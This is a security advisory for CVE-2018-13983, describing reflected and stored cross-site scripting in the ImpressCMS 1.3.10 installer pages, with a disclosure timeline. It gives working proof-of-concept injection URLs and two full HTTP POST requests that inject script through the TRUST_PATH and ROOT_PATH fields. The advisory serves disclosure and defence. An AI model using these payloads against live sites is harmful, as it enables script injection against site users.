Multiple Cross-site Scripting Vulnerabilities in ImpressCMS 1.3.10

Information
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Advisory by Netsparker
Name: Reflected and Stored XSS Vulnerabilities in ImpressCMS
Affected Software: ImpressCMS
Affected Versions: 1.3.10
Homepage: https://www.impresscms.org/
Vulnerability: Reflected and Stored XSS Vulnerabilities
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13983
Netsparker Advisory Reference: NS-18-033

Technical Details
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Cross-site Scripting

URL  http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>alert(0x00012C)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>alert(0x0006F2)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>alert(0x000881)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>alert(0x000919)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>alert(0x0006F0)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>

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Stored Cross-Site Scripting

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Injection URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php

Vulnerable TRUST_PATH :

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH=%2fvar%2fwww%2fhtml%2fScanApp%2fimpresscms%2fhtdocs&TRUST_PATH='"--></style></scRipt><scRipt>netsparker(0x000F44)</scRipt>
#End

Vulnerable ROOT_PATH :

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH='"--></style></scRipt><scRipt>netsparker(0x000F41)</scRipt>&TRUST_PATH=%2fvar%2fwww%2f623962b73562c7f
#End

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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8th November 2018- First Contact
3rd December 2018 - Vendor Fixed
2nd January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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